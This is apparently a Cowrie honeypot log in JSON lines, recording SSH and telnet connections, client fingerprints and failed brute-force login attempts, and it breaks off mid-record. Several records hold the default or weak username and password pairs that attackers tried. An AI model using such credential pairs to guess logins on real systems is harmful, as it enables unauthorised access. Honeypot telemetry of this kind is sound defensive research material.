{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:01.545237Z","src_ip":"103.187.165.26","session":"45d342bbc590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:01.785121Z","src_ip":"103.187.165.26","session":"45d342bbc590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yks","message":"login attempt [root/yks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:02.765912Z","src_ip":"103.187.165.26","session":"45d342bbc590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:04.005086Z","src_ip":"103.187.165.26","session":"45d342bbc590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:06.702907Z","src_ip":"8.210.75.243","session":"b08d7cc48ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":42904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a0c9964809","protocol":"ssh","message":"New connection: 101.47.159.50:42904 (10.17.0.5:22) [session: d8a0c9964809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:16.152697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:16.157243Z","src_ip":"101.47.159.50","session":"d8a0c9964809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:16.403549Z","src_ip":"101.47.159.50","session":"d8a0c9964809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Speed123","message":"login attempt [root/Speed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:17.420577Z","src_ip":"101.47.159.50","session":"d8a0c9964809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:18.668880Z","src_ip":"101.47.159.50","session":"d8a0c9964809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49382,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2cf0c545a4f","protocol":"ssh","message":"New connection: 165.154.137.186:49382 (10.17.0.5:22) [session: a2cf0c545a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:21.088443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:21.093663Z","src_ip":"165.154.137.186","session":"a2cf0c545a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:21.369524Z","src_ip":"165.154.137.186","session":"a2cf0c545a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:22.199393Z","src_ip":"165.154.137.186","session":"a2cf0c545a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:23.478575Z","src_ip":"165.154.137.186","session":"a2cf0c545a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:34.356200Z","src_ip":"8.210.75.243","session":"e6d1841ad9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":54132,"dst_ip":"10.17.0.5","dst_port":22,"session":"4790839e4e06","protocol":"ssh","message":"New connection: 101.36.111.155:54132 (10.17.0.5:22) [session: 4790839e4e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:46.041814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:46.045833Z","src_ip":"101.36.111.155","session":"4790839e4e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:46.260949Z","src_ip":"101.36.111.155","session":"4790839e4e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yw@123456","message":"login attempt [root/yw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:47.165810Z","src_ip":"101.36.111.155","session":"4790839e4e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:48.385860Z","src_ip":"101.36.111.155","session":"4790839e4e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53568,"dst_ip":"10.17.0.5","dst_port":22,"session":"29dff60b8be8","protocol":"ssh","message":"New connection: 8.210.75.243:53568 (10.17.0.5:22) [session: 29dff60b8be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:49.299203Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35530,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24614e6ad09","protocol":"telnet","message":"New connection: 170.64.224.25:35530 (159.203.135.109:23) [session: b24614e6ad09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:53.685041Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36976,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91df9655c5e","protocol":"ssh","message":"New connection: 165.154.137.186:36976 (10.17.0.5:22) [session: e91df9655c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:54.374951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:54.377870Z","src_ip":"165.154.137.186","session":"e91df9655c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:54.652818Z","src_ip":"165.154.137.186","session":"e91df9655c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:55.477919Z","src_ip":"165.154.137.186","session":"e91df9655c5e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:55.703841Z","src_ip":"8.210.75.243","session":"29dff60b8be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:56.755193Z","src_ip":"165.154.137.186","session":"e91df9655c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35026,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67162d30ffe","protocol":"ssh","message":"New connection: 165.154.137.186:35026 (10.17.0.5:22) [session: c67162d30ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:01.497480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:01.503075Z","src_ip":"165.154.137.186","session":"c67162d30ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:01.782544Z","src_ip":"165.154.137.186","session":"c67162d30ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:02.597546Z","src_ip":"165.154.137.186","session":"c67162d30ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:03.871007Z","src_ip":"165.154.137.186","session":"c67162d30ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:05.413037Z","src_ip":"8.210.75.243","session":"29dff60b8be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47438,"dst_ip":"10.17.0.5","dst_port":22,"session":"389dfdef3cb8","protocol":"ssh","message":"New connection: 165.154.137.186:47438 (10.17.0.5:22) [session: 389dfdef3cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:05.806575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:05.810614Z","src_ip":"165.154.137.186","session":"389dfdef3cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:06.080365Z","src_ip":"165.154.137.186","session":"389dfdef3cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:06.892560Z","src_ip":"165.154.137.186","session":"389dfdef3cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:08.165756Z","src_ip":"165.154.137.186","session":"389dfdef3cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47446,"dst_ip":"10.17.0.5","dst_port":22,"session":"59cb06ee9ad0","protocol":"ssh","message":"New connection: 165.154.137.186:47446 (10.17.0.5:22) [session: 59cb06ee9ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:09.432306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:09.472980Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa